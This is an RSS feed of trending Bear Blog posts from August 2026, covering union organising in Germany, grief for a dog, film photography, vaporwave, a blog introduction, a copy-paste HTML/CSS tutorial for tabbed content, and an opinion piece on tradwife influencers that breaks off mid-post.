<?xml version='1.0' encoding='UTF-8'?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Bear Blog Trending Posts</title>
    <link>https://bearblog.dev/discover/</link>
    <description>Trending posts on Bear Blog</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <lastBuildDate>Thu, 13 Aug 2026 09:58:36 +0000</lastBuildDate>
    <item>
      <title>Fighting for what I believe in</title>
      <link>https://annoflo.net/fighting-for-what-i-believe-in/</link>
      <description>&lt;p&gt;I got fairly busy after my perfume escapades yesterday, both of these times I was fighting for something I believe in. One of them was a lot more draining and unpleasant than the other.&lt;/p&gt;
&lt;h2 id=organising-protest&gt;Organising Protest&lt;/h2&gt;&lt;p&gt;Let's set the scene: Tuesday, early evening. The sun is casting everything under a golden light, I am cycling to a union building in my city. My thoughts are split: 1) I sure am looking forward to fighting for a good cause, 2) Man, why is my front brake misaligned again? One of these thoughts is ultimately more important than the other, and won out as I got closer to my destination.&lt;/p&gt;
&lt;p&gt;For those unfamiliar with German politics: the government is currently putting in motion a big reform program, however many of these reforms are reactionary/populist/reversing in nature. Many employee-rights are being reduced or cut, social spending in welfare, eldercare, healthcare and others slashed and governmental institutions are supposed to become less transparent (which is something I am very passionate about, and feel even more bitter about since the government wishes to pursue more and more measures to reduce privacy of the individual). That, in my eyes, is not good. And I will not stand by it.&lt;/p&gt;
&lt;p&gt;I have been active in union-stuff before, it is something I enjoy. We were a small group of individuals, some postal workers, some healthcare, some construction, some students, office workers and moi. There will be big protests in all of Germany on the 26th of September (so if you are from Germany: look it up, maybe you can come and join the good fight) but we wanted to do another, local one, a bit earlier. To show the people here that there are some that want to fight, and possibly motivate them to join.&lt;/p&gt;
&lt;p&gt;It was a good event. We will meet again next Tuesday. It felt good to fight for a common goal and strategies, and try and get as many people as possible under a united banner. Because these topics matter to all of us. We made plans on how to announce it, where to go with the protest, who should speak there, when it is... Lots of success for less than ninety minutes.&lt;/p&gt;
&lt;h2 id=serving-the-employees-right&gt;Serving the employees, right?&lt;/h2&gt;&lt;p&gt;Different stage, today morning. I am looking through some crudely scanned documents at work, the invite for today's staff council meeting. What topics are there, who wants what, ... It will be the third time I go there. I am not looking forward to it a ton, I would rather spend the day on some productive stuff at work proper. But hey, I signed up to be a replacement member and summer means there is a high need for replacements. A colleague from my department has to go there today, too. He is new to it, too.&lt;/p&gt;
&lt;p&gt;It is a special session, the monthly one with the big boss attending. We move through the first topics before he arrives, he answers our questions and does so in a way by implying it is the fault of the employees. We disagree, but there is no use in saying anything, his mind is made up. Some more topics, and while he has good oratory skills it all feels off to me. His words were "good", while his expression betrayed deeper things. Was it ridicule? Well, anyways, after that he left and we went on with our regular weekly affairs of passing or rejecting motions: "Can employee X be put to job Y?", "Can employee X work on a Saturday?", these kinds of things.&lt;/p&gt;
&lt;p&gt;You would be surprised by how much bickering there is on the staff council. Technically we all serve the same purpose, or to be more specific: the employees. But inside of the staff council there are so many divides which, the adults averaging 40 years (probably higher), cannot put besides each other for the greater good. X does not like Y, Z talks a bit too long, Ö and Ü keep chattering amongst each other. Made worse by the fact that there are two dominant groups on the council and they are not on the most friendliest of terms either.&lt;/p&gt;
&lt;p&gt;So, instead of trying for the best there is bickering. Words with underlying insults, which then get corrected by saying "oh, of course I did not mean to imply that" while everyone knows they absolutely did. So a 5 hour council session feels less productive than the ninety minute protest meeting, and it was a lot worse for my nerves too. Maybe I am too idealistic, and the benefit of the employees is not a unifying enough factor? Obviously not enough to make very adult people act with a bit of dignity.&lt;/p&gt;
&lt;p&gt;To close this, I feel reminded of a quote of &lt;i&gt;Babylon's &lt;/i&gt;&lt;i&gt;Ashes&lt;/i&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"All through human history, being a moral person and not being pulled into the dramatics and misbehaviour of others had caused intelligent people grief."&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Not insinuating I am smarter than anyone, but it fits. Enjoy the solar eclipse, everyone who can. And maybe the Perseids, too.&lt;/p&gt;
</description>
      <author>hidden (annoflo)</author>
      <guid isPermaLink="false">https://annoflo.net/fighting-for-what-i-believe-in/</guid>
      <pubDate>Wed, 12 Aug 2026 17:04:36 +0000</pubDate>
    </item>
    <item>
      <title>21 days since saying goodbye</title>
      <link>https://notes.jeddacp.com/21-days-since-saying-goodbye/</link>
      <description>&lt;p&gt;It's been &lt;a href='/cocoa-rainbowbridge/'&gt;21 days&lt;/a&gt; since we've had to say goodbye to my soul dog, Cocoa. It has not gotten easier, but I am &lt;em&gt;trying&lt;/em&gt; to learn how to hold the grief that is within me.&lt;/p&gt;
&lt;p&gt;I have hard days, and then &lt;em&gt;harder&lt;/em&gt; days. There has not been any easy days. I don't know when those will come. I don't think it will be any time soon.&lt;/p&gt;
&lt;p&gt;We are continuing to look for Cocoa signs. We continue to honor her daily with walks around the neighborhood (and in everything we do). We have never stopped talking to her out loud, because we know that she is listening.&lt;/p&gt;
&lt;p&gt;We've only told &lt;em&gt;some&lt;/em&gt; people about Cocoa's passing -- our close friends, and work, because we have had to. We have not had the energy to make an outright announcement. But we will tomorrow, and I'm kind of dreading it.&lt;/p&gt;
&lt;p&gt;I miss you, Cocoa.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Related:&lt;/strong&gt;: &lt;a href='/cocoa-turns-13-today/'&gt;Cocoa turns 13 today&lt;/a&gt;&lt;/p&gt;
&lt;h5 id=a-hrefmailtoheyjeddacpmereply-by-emaila&gt;&lt;a href='mailto:hey@jeddacp.me'&gt;Reply by email&lt;/a&gt;&lt;/h5&gt;</description>
      <author>hidden (jedda)</author>
      <guid isPermaLink="false">https://notes.jeddacp.com/21-days-since-saying-goodbye/</guid>
      <pubDate>Thu, 13 Aug 2026 00:48:00 +0000</pubDate>
    </item>
    <item>
      <title>film photos from the south of France</title>
      <link>https://bluebottles.bearblog.dev/film-photos-from-the-south-of-france/</link>
      <description>&lt;p&gt;&lt;mark&gt;📸 I'm doing &lt;a href='https://nerdgirlthoughts.game.blog/2026/07/15/blaugust-2026-is-coming/'&gt;Blaugust&lt;/a&gt; this year. This is 6/? posts in August.&lt;/mark&gt;&lt;/p&gt;
&lt;p&gt;A lot of these were of my friends or me at the beach, so I can only share the ones without faces. I wrote a post about some of the things we did &lt;a href='https://bluebottles.bearblog.dev/kitsch-pottery/'&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I used Kodak 400TX for the black and white pictures and I really enjoy how they come out. Most of these pictures were taken around Vallauris and our Airbnb there. Some were taken on the beach in Nice.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/bluebottles/000029-2.webp" alt="000029" /&gt;&lt;br /&gt;
&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/bluebottles/000043-1.webp" alt="000043" /&gt;&lt;br /&gt;
&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/bluebottles/000023-2.webp" alt="000023" /&gt;&lt;br /&gt;
&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/bluebottles/000035-1.webp" alt="000035" /&gt;&lt;br /&gt;
&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/bluebottles/000037-1.webp" alt="000037" /&gt;&lt;br /&gt;
&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/bluebottles/000008-2.webp" alt="000008" /&gt;&lt;br /&gt;
&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/bluebottles/000020-1.webp" alt="000020" /&gt;&lt;br /&gt;
&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/bluebottles/000024-2.webp" alt="000024" /&gt;&lt;/p&gt;
&lt;p&gt;For these colour pictures, I used a film from Analogue Wonderland called &lt;a href='https://analoguewonderland.co.uk/products/mr-negative-same-same-but-different-400-35mm-film?srsltid=AfmBOop9da9wcZRnQkd7guqyYDCmhndC6ltuw4qrqPuwjbhTWAG6ct5-'&gt;Same Same&lt;/a&gt;. It was the colour film I had available, but it was so sunny I wish I'd used Kodak Gold. I'm also not as happy with these pictures because I was desperate to use the roll up so I could get the French ones developed, so quite a few of the end of the roll are just bad... Patience!&lt;/p&gt;
&lt;p&gt;&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/bluebottles/000034-1.webp" alt="000034" /&gt;&lt;br /&gt;
&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/bluebottles/000010-1.webp" alt="000010" /&gt;&lt;br /&gt;
&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/bluebottles/000001-1.webp" alt="000001" /&gt;&lt;/p&gt;
&lt;p&gt;I told myself I'd buy a better camera (still film, and still cheapish, but with some actual adjustable options for the ISO etc) after finishing a stressful project milestone at work... but I'm still procrastinating on making the decision.&lt;/p&gt;
</description>
      <author>hidden (bluebottles)</author>
      <guid isPermaLink="false">https://bluebottles.bearblog.dev/film-photos-from-the-south-of-france/</guid>
      <pubDate>Wed, 12 Aug 2026 10:21:00 +0000</pubDate>
    </item>
    <item>
      <title>Vaporwave is Dead, Long Live Vaporwave</title>
      <link>https://householderkarl.com/vaporwave-is-dead-long-live-vaporwave/</link>
      <description>&lt;p&gt;&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/householderkarl/image-15.webp#center" alt="image" /&gt;&lt;/p&gt;
&lt;h3 id=the-a-e-s-t-h-e-t-i-c&gt;The A E S T H E T I C&lt;/h3&gt;&lt;p&gt;A meme?&lt;/p&gt;
&lt;p&gt;An art style?&lt;/p&gt;
&lt;p&gt;Strange music for sad Millennials?&lt;/p&gt;
&lt;p&gt;All of the above and more. Never before have I been so enamored with... whatever this is. I stumbled upon it years ago and it struck a chord so deep, so foundational to my very being, that I’ve been obsessed ever since.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/householderkarl/image-18.webp#center" alt="image" /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Vaporwave is an Internet music microgenre, aesthetic and meme that emerged in the early 2010s. Originating from experimental genres like Post-Noise and Hypnagogic Pop, its sound is defined by the use of chopped, slowed-down, and reverb-heavy samples from 1980s and 1990s smooth jazz, R&amp;B, and lounge music. The music creates a surreal, melancholic, and nostalgic atmosphere, evoking the uncanny feeling of wandering through a deserted shopping mall or hearing muzak from a forgotten corporate training video.&lt;/p&gt;
&lt;p&gt;The aesthetic's visual style is a distinct collage that blends certain elements of the 1980s and 1990s, such as the interior design of malls and lobbies (classical Greco-Roman statues and columns, palm plants, pink and cyan pastel colors, tiled floors, Memphis Lite patterns), Japan's 1980s economic boom, retro commercials, retro computers, 1990s web design, early CGI, and logos of obsolete brands.&lt;/p&gt;
&lt;p&gt;Vaporwave is widely interpreted as an ambiguous critique and parody of consumer capitalism and technological utopianism, &lt;strong&gt;using the "dead" aesthetics of a recent past to evoke a sense of nostalgia for a future that never materialized.&lt;/strong&gt;
&lt;sup&gt;&lt;small&gt;&lt;a href='https://aesthetics.fandom.com/wiki/Vaporwave' target='_blank'&gt;Aesthetics Wiki&lt;/a&gt;&lt;/small&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/householderkarl/motogifvapor.gif#center" alt="motogifvapor" /&gt;&lt;/p&gt;
&lt;h3 id=the-f-e-e-l-s&gt;The F E E L S&lt;/h3&gt;&lt;p&gt;Nostalgia for a place I’ve never been, for a time that never happened. The smell of an empty mall in the early 90s, the sound of muzak over tinny speakers. Laughter by the pool and evenings falling asleep to grainy VHS rentals. Quiet streets under buzzing neon.&lt;/p&gt;
&lt;p&gt;The sights and sounds of vaporwave elicit memories of lives lived many times over, during eras still full of promise and potential. It’s both gut-wrenching and joyous.&lt;/p&gt;
&lt;p&gt;I don’t think my words can properly convey the feeling, but this was an attempt.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/householderkarl/image-17.webp#center" alt="image" /&gt;
&lt;sup&gt;&lt;small&gt;This always reminds me of my wife&lt;/small&gt;&lt;/sup&gt;&lt;/p&gt;
</description>
      <author>hidden (householderkarl)</author>
      <guid isPermaLink="false">https://householderkarl.com/vaporwave-is-dead-long-live-vaporwave/</guid>
      <pubDate>Tue, 11 Aug 2026 20:23:00 +0000</pubDate>
    </item>
    <item>
      <title>i'm discoverable now!</title>
      <link>https://peelingtheonion.bearblog.dev/im-discoverable-now/</link>
      <description>&lt;p&gt;I finally figured out how to get my blog reviewed and show up in the Discover tab, so everyone, please discover me.&lt;/p&gt;
&lt;p&gt;I've been writing on Bear for quite a while, and pretty much just using it as a personal diary at this point. So, some discernment for you before you enter my domain. It's not always the most kid-friendly content, but I've discovered it's very enjoyable to write what's on the heart and mind, and that isn't always the prettiest.&lt;/p&gt;
&lt;p&gt;A reintroduction (although I don't think I ever introduced myself to begin with), my name is Kyrra, I've recently been going through some challenging life changes that are growing me into an even better version of myself (woohoo!). &lt;em&gt;I'm trying to be more positive recently, if you can't tell.&lt;/em&gt; I have a nine year old rabbit named Margaret. I dapple in painting, writing, crocheting, calligraphy, and really anything creative. And, finally, I can name pretty much any LDR song within the first three seconds of it playing. Die hard.&lt;/p&gt;
&lt;p&gt;So, to quote our melancholic muse, "live fast, die young, be wild."&lt;/p&gt;
</description>
      <author>hidden (peelingtheonion)</author>
      <guid isPermaLink="false">https://peelingtheonion.bearblog.dev/im-discoverable-now/</guid>
      <pubDate>Tue, 11 Aug 2026 15:44:56 +0000</pubDate>
    </item>
    <item>
      <title>Tabbed content for your blog</title>
      <link>https://futureperfect.bearblog.dev/tabbed-content-for-your-blog/</link>
      <description>&lt;p&gt;If you ever feel like you have too many sections within a page on your site or too many links you want to categorize in a stylish way, then these might be of use to you. I wanted to create some simple, copy and paste codes that cater to Bearblog users. Simple, effective, no need to alter core CSS or inject JavaScript. Simply copy and paste into the post/page you are editing and voila!&lt;/p&gt;
&lt;p&gt;You'll obviously need to make minor adjustments on text color/background/etc. to match the theme of your site. Other than that, though, these are basically drop and go.&lt;/p&gt;
&lt;!-- Number 1 --&gt;
&lt;h4 id=terminalcrt-tabs&gt;Terminal/CRT tabs&lt;/h4&gt;&lt;div class="crt-tabs"&gt;
&lt;input type="radio" name="crt" id="crt-home" checked&gt;
&lt;label for="crt-home"&gt;HOME&lt;/label&gt;
&lt;input type="radio" name="crt" id="crt-log"&gt;
&lt;label for="crt-log"&gt;LOG&lt;/label&gt;
&lt;input type="radio" name="crt" id="crt-links"&gt;
&lt;label for="crt-links"&gt;LINKS&lt;/label&gt;
&lt;div class="crt-panel crt-home"&gt;
&lt;h3&gt;&gt; Welcome&lt;/h3&gt;
&lt;p&gt;
Initializing personal archive...&lt;br&gt;
Connection established.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="crt-panel crt-log"&gt;
&lt;h3&gt;&gt; Journal&lt;/h3&gt;
&lt;p&gt;
Latest entries and updates.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="crt-panel crt-links"&gt;
&lt;h3&gt;&gt; Resources&lt;/h3&gt;
&lt;p&gt;
Favorite sites and tools you may wish to share.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;style&gt;

.crt-tabs{

max-width:600px;
margin:2rem auto;

background:#050505;
padding:20px;

font-family:
"Courier New",
monospace;

color:#39ff88;

border:
2px solid #222;

box-shadow:
0 0 25px rgba(0,255,100,.15);

}


.crt-tabs input{
display:none;
}


.crt-tabs label{

display:inline-block;

padding:8px 16px;

cursor:pointer;

border:
1px solid #155b30;

color:#39ff88;

}


.crt-tabs input:checked + label{

background:#39ff88;
color:#001b09;

}


.crt-panel{

display:none;

margin-top:15px;

padding:20px;

border:
1px solid #155b30;

}


#crt-home:checked ~ .crt-home,
#crt-log:checked ~ .crt-log,
#crt-links:checked ~ .crt-links{

display:block;

}


.crt-panel::after{

content:"_";

animation:
blink 1s infinite;

}


@keyframes blink{

50%{
opacity:0;
}

}

&lt;/style&gt;
&lt;!-- begin code box --&gt;
&lt;div style="max-width:700px;margin:1.5rem auto;"&gt;
&lt;textarea readonly onclick="this.select()" style="display:block;width:100%;height:180px;box-sizing:border-box;padding:12px;resize:vertical;overflow:auto;background:#f5f5f5;color:#222;border:1px solid #ccc;border-radius:4px;font-family:monospace;font-size:13px;line-height:1.4;"&gt;&lt;div class="crt-tabs"&gt;
&lt;input type="radio" name="crt" id="crt-home" checked&gt;
&lt;label for="crt-home"&gt;HOME&lt;/label&gt;
&lt;input type="radio" name="crt" id="crt-log"&gt;
&lt;label for="crt-log"&gt;LOG&lt;/label&gt;
&lt;input type="radio" name="crt" id="crt-links"&gt;
&lt;label for="crt-links"&gt;LINKS&lt;/label&gt;
&lt;div class="crt-panel crt-home"&gt;
&lt;h3&gt;&gt; Welcome&lt;/h3&gt;
&lt;p&gt;
Initializing personal archive...&lt;br&gt;
Connection established.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="crt-panel crt-log"&gt;
&lt;h3&gt;&gt; Journal&lt;/h3&gt;
&lt;p&gt;
Latest entries and updates.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="crt-panel crt-links"&gt;
&lt;h3&gt;&gt; Resources&lt;/h3&gt;
&lt;p&gt;
Favorite sites and tools you may wish to share.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;style&gt;

.crt-tabs{

max-width:600px;
margin:2rem auto;

background:#050505;
padding:20px;

font-family:
"Courier New",
monospace;

color:#39ff88;

border:
2px solid #222;

box-shadow:
0 0 25px rgba(0,255,100,.15);

}


.crt-tabs input{
display:none;
}


.crt-tabs label{

display:inline-block;

padding:8px 16px;

cursor:pointer;

border:
1px solid #155b30;

color:#39ff88;

}


.crt-tabs input:checked + label{

background:#39ff88;
color:#001b09;

}


.crt-panel{

display:none;

margin-top:15px;

padding:20px;

border:
1px solid #155b30;

}


#crt-home:checked ~ .crt-home,
#crt-log:checked ~ .crt-log,
#crt-links:checked ~ .crt-links{

display:block;

}


.crt-panel::after{

content:"_";

animation:
blink 1s infinite;

}


@keyframes blink{

50%{
opacity:0;
}

}

&lt;/style&gt;&lt;/textarea&gt;
&lt;/div&gt;
&lt;!-- end code box --&gt;
&lt;!-- End Number 1 --&gt;
&lt;hr /&gt;
&lt;!-- Number 2 --&gt;
&lt;h4 id=modern-tabs&gt;Modern tabs&lt;/h4&gt;&lt;div class="modern-tabs"&gt;
&lt;input type="radio" name="modern-tabs" id="modern-one" checked&gt;
&lt;label for="modern-one"&gt;About&lt;/label&gt;
&lt;input type="radio" name="modern-tabs" id="modern-two"&gt;
&lt;label for="modern-two"&gt;Projects&lt;/label&gt;
&lt;input type="radio" name="modern-tabs" id="modern-three"&gt;
&lt;label for="modern-three"&gt;Now&lt;/label&gt;
&lt;div class="modern-content modern-one"&gt;
&lt;h3&gt;About&lt;/h3&gt;
&lt;p&gt;
Talk about yourself.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="modern-content modern-two"&gt;
&lt;h3&gt;Projects&lt;/h3&gt;
&lt;p&gt;
Projects you are working on, or like, whatever.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="modern-content modern-three"&gt;
&lt;h3&gt;Now&lt;/h3&gt;
&lt;p&gt;
Currently reading, making, and learning.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;style&gt;

.modern-tabs{

max-width:600px;

margin:2rem auto;

font-family:
system-ui,
sans-serif;

}


.modern-tabs input{
display:none;
}


.modern-tabs label{

display:inline-block;

padding:
9px 18px;

margin-right:5px;

cursor:pointer;

border-radius:999px;

background:#eee;

color:#555;

transition:.2s;

}


.modern-tabs input:checked + label{

background:#111;

color:white;

}


.modern-content{

display:none;

margin-top:15px;

padding:25px;

border-radius:18px;

background:white;

border:
1px solid #ddd;

box-shadow:

0 10px 30px rgba(0,0,0,.08);

animation:
fade .25s ease;

color: #000;

}


#modern-one:checked ~ .modern-one,
#modern-two:checked ~ .modern-two,
#modern-three:checked ~ .modern-three{

display:block;

}


@keyframes fade{

from{
opacity:0;
transform:translateY(5px);
}

to{
opacity:1;
transform:none;
}

}

&lt;/style&gt;
&lt;!-- start code box --&gt;
&lt;div style="max-width:700px;margin:1.5rem auto;"&gt;
&lt;textarea readonly onclick="this.select()" style="display:block;width:100%;height:180px;box-sizing:border-box;padding:12px;resize:vertical;overflow:auto;background:#f5f5f5;color:#222;border:1px solid #ccc;border-radius:4px;font-family:monospace;font-size:13px;line-height:1.4;"&gt;&lt;div class="modern-tabs"&gt;
&lt;input type="radio" name="modern-tabs" id="modern-one" checked&gt;
&lt;label for="modern-one"&gt;About&lt;/label&gt;
&lt;input type="radio" name="modern-tabs" id="modern-two"&gt;
&lt;label for="modern-two"&gt;Projects&lt;/label&gt;
&lt;input type="radio" name="modern-tabs" id="modern-three"&gt;
&lt;label for="modern-three"&gt;Now&lt;/label&gt;
&lt;div class="modern-content modern-one"&gt;
&lt;h3&gt;About&lt;/h3&gt;
&lt;p&gt;
Talk about yourself.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="modern-content modern-two"&gt;
&lt;h3&gt;Projects&lt;/h3&gt;
&lt;p&gt;
Projects you are working on, or like, whatever.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="modern-content modern-three"&gt;
&lt;h3&gt;Now&lt;/h3&gt;
&lt;p&gt;
Currently reading, making, and learning.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;style&gt;

.modern-tabs{

max-width:600px;

margin:2rem auto;

font-family:
system-ui,
sans-serif;

}


.modern-tabs input{
display:none;
}


.modern-tabs label{

display:inline-block;

padding:
9px 18px;

margin-right:5px;

cursor:pointer;

border-radius:999px;

background:#eee;

color:#555;

transition:.2s;

}


.modern-tabs input:checked + label{

background:#111;

color:white;

}


.modern-content{

display:none;

margin-top:15px;

padding:25px;

border-radius:18px;

background:white;

border:
1px solid #ddd;

box-shadow:

0 10px 30px rgba(0,0,0,.08);

animation:
fade .25s ease;

color: #000;

}


#modern-one:checked ~ .modern-one,
#modern-two:checked ~ .modern-two,
#modern-three:checked ~ .modern-three{

display:block;

}


@keyframes fade{

from{
opacity:0;
transform:translateY(5px);
}

to{
opacity:1;
transform:none;
}

}

&lt;/style&gt;&lt;/textarea&gt;
&lt;/div&gt;
&lt;!-- end code box --&gt;
&lt;!-- End Number 2 --&gt;
&lt;hr /&gt;
&lt;!-- Number 3 --&gt;
&lt;h4 id=retro-glossy-tabs&gt;Retro Glossy tabs&lt;/h4&gt;&lt;div class="aqua-tabs"&gt;
&lt;input type="radio" name="aqua-tabs" id="aqua-home" checked&gt;
&lt;label for="aqua-home"&gt;Home&lt;/label&gt;
&lt;input type="radio" name="aqua-tabs" id="aqua-about"&gt;
&lt;label for="aqua-about"&gt;About&lt;/label&gt;
&lt;input type="radio" name="aqua-tabs" id="aqua-links"&gt;
&lt;label for="aqua-links"&gt;Links&lt;/label&gt;
&lt;div class="aqua-content aqua-home"&gt;
&lt;h3&gt;Welcome&lt;/h3&gt;
&lt;p&gt;
Blah blah blah.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="aqua-content aqua-about"&gt;
&lt;h3&gt;About&lt;/h3&gt;
&lt;p&gt;
About yourself... don't be shy.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="aqua-content aqua-links"&gt;
&lt;h3&gt;Links&lt;/h3&gt;
&lt;p&gt;
Favorite places around the web.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;style&gt;

.aqua-tabs{
max-width:600px;
margin:2rem auto;
font-family:
-apple-system,
BlinkMacSystemFont,
"Lucida Grande",
Arial;
}


.aqua-tabs input{
display:none;
}


.aqua-tabs label{

display:inline-block;

padding:8px 22px;

cursor:pointer;

border-radius:
12px 12px 0 0;

border:1px solid #888;

background:
linear-gradient(
#fff,
#cfcfcf
);

color:#333;

box-shadow:
inset 0 1px white;

}


.aqua-tabs input:checked + label{

background:
linear-gradient(
#70c8ff,
#007aff
);

color:white;

text-shadow:
0 1px #003b75;

}


.aqua-content{

display:none;

padding:22px;

border:1px solid #888;

border-radius:
0 14px 14px 14px;

background:
linear-gradient(
white,
#eeeeee
);

box-shadow:
0 8px 20px rgba(0,0,0,.18);

}


#aqua-home:checked ~ .aqua-home,
#aqua-about:checked ~ .aqua-about,
#aqua-links:checked ~ .aqua-links{

display:block;

color: #000;

}

&lt;/style&gt;
&lt;!-- start code box --&gt;
&lt;div style="max-width:700px;margin:1.5rem auto;"&gt;
&lt;textarea readonly onclick="this.select()" style="display:block;width:100%;height:180px;box-sizing:border-box;padding:12px;resize:vertical;overflow:auto;background:#f5f5f5;color:#222;border:1px solid #ccc;border-radius:4px;font-family:monospace;font-size:13px;line-height:1.4;"&gt;&lt;div class="aqua-tabs"&gt;
&lt;input type="radio" name="aqua-tabs" id="aqua-home" checked&gt;
&lt;label for="aqua-home"&gt;Home&lt;/label&gt;
&lt;input type="radio" name="aqua-tabs" id="aqua-about"&gt;
&lt;label for="aqua-about"&gt;About&lt;/label&gt;
&lt;input type="radio" name="aqua-tabs" id="aqua-links"&gt;
&lt;label for="aqua-links"&gt;Links&lt;/label&gt;
&lt;div class="aqua-content aqua-home"&gt;
&lt;h3&gt;Welcome&lt;/h3&gt;
&lt;p&gt;
Blah blah blah.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="aqua-content aqua-about"&gt;
&lt;h3&gt;About&lt;/h3&gt;
&lt;p&gt;
About yourself... don't be shy.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="aqua-content aqua-links"&gt;
&lt;h3&gt;Links&lt;/h3&gt;
&lt;p&gt;
Favorite places around the web.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;style&gt;

.aqua-tabs{
max-width:600px;
margin:2rem auto;
font-family:
-apple-system,
BlinkMacSystemFont,
"Lucida Grande",
Arial;
}


.aqua-tabs input{
display:none;
}


.aqua-tabs label{

display:inline-block;

padding:8px 22px;

cursor:pointer;

border-radius:
12px 12px 0 0;

border:1px solid #888;

background:
linear-gradient(
#fff,
#cfcfcf
);

color:#333;

box-shadow:
inset 0 1px white;

}


.aqua-tabs input:checked + label{

background:
linear-gradient(
#70c8ff,
#007aff
);

color:white;

text-shadow:
0 1px #003b75;

}


.aqua-content{

display:none;

padding:22px;

border:1px solid #888;

border-radius:
0 14px 14px 14px;

background:
linear-gradient(
white,
#eeeeee
);

box-shadow:
0 8px 20px rgba(0,0,0,.18);

}


#aqua-home:checked ~ .aqua-home,
#aqua-about:checked ~ .aqua-about,
#aqua-links:checked ~ .aqua-links{

display:block;

color: #000;

}

&lt;/style&gt;&lt;/textarea&gt;
&lt;/div&gt;
&lt;!-- end code box --&gt;
&lt;!-- End Number 3 --&gt;
&lt;hr /&gt;
&lt;p&gt;If this post gets any traction or support, I may make some more.&lt;/p&gt;
</description>
      <author>hidden (futureperfect)</author>
      <guid isPermaLink="false">https://futureperfect.bearblog.dev/tabbed-content-for-your-blog/</guid>
      <pubDate>Tue, 11 Aug 2026 14:41:00 +0000</pubDate>
    </item>
    <item>
      <title>Tradwives: Where Feminism Goes to Off Itself</title>
      <link>https://blog.absurdpirate.com/tradwives-where-feminism-goes-to-off-itself/</link>
      <description>&lt;p&gt;There's a new trend I've been hearing about online for some years now, and it's been making me sick the more I think about it. Tradwives.&lt;/p&gt;
&lt;p&gt;I won't go into what a tradwife actually is, you are probably well aware of who these social media influencers are. You've probably seen a ton of commentary videos on the subject.&lt;/p&gt;
&lt;p&gt;You've seen them. A 19 year old girl, who speaks with a sparkle in her eye. Talking about how she devotes her life to her wealthy husband who takes care of her financially while she takes care of the house. Oh what's that? The husband is 10 years older than her? They've known each other for 6 weeks before getting engaged when she was 18? Huh...&lt;/p&gt;
&lt;p&gt;The irony is the fact that despite these tradwives making a big deal out of how they don't have a job, them producing their lifestyle content IS contributing to the household income. It IS a job. They are in the business of selling younger impressionable girls a fantasy.&lt;/p&gt;
&lt;p&gt;I look at these girls and see my own daughter. I know I'm not quite "old enough to be your dad" age, but I see these videos that come from these tradwife influencers and it sends a chill down my spine. Why the fuck is a dude cracking 30 going after a girl that just barely got done with having to do homework?&lt;/p&gt;
&lt;p&gt;The worst part is, you can tell how immature these girls are. They will answer any question of "what happens if you guys divorce" with "oh that'll never happen". That same naive teenage invincibility we are probably all familiar with. They think it could never happen to them, when it's a 50/50 shot it will be them. They might believe it with all their heart, but predatory men will lie to get what they want. It's terrifying, it's sad.&lt;/p&gt;
&lt;p&gt;These girls either are incapable of or simply won't listen, even to the hundreds of thousands of women who have walked in their shoes. Thinking that the man they married will take care of them forever. And then the divorce papers come 10+ years later. They have no bank account, they have no money, they have nothing but ashes and fallout.&lt;/p&gt;
&lt;p&gt;It's propped up under the guise of "female empowerment", but it is simply anything but. There's nothing empowering about putting your entire life in the hands of a much older man who married you young for a very disturbing reason. There's nothing empowering about flattening your identity to being beneath your husband and children. You aren't treated as an equal, or a partner. You are treated as a dishwasher you can stick your dick in.&lt;/p&gt;
&lt;p&gt;This was a conversation I had with my mom a while back that has stuck with me. When it comes to being the stay-at-home-mom/wife, your identity becomes diminished more often than not. My mom was always addressed as my mom, or my dad's wife. Hardly ever was she referred to by her name. It wasn't until my dad died and I grew older that she started to get her identity again.&lt;/p&gt;
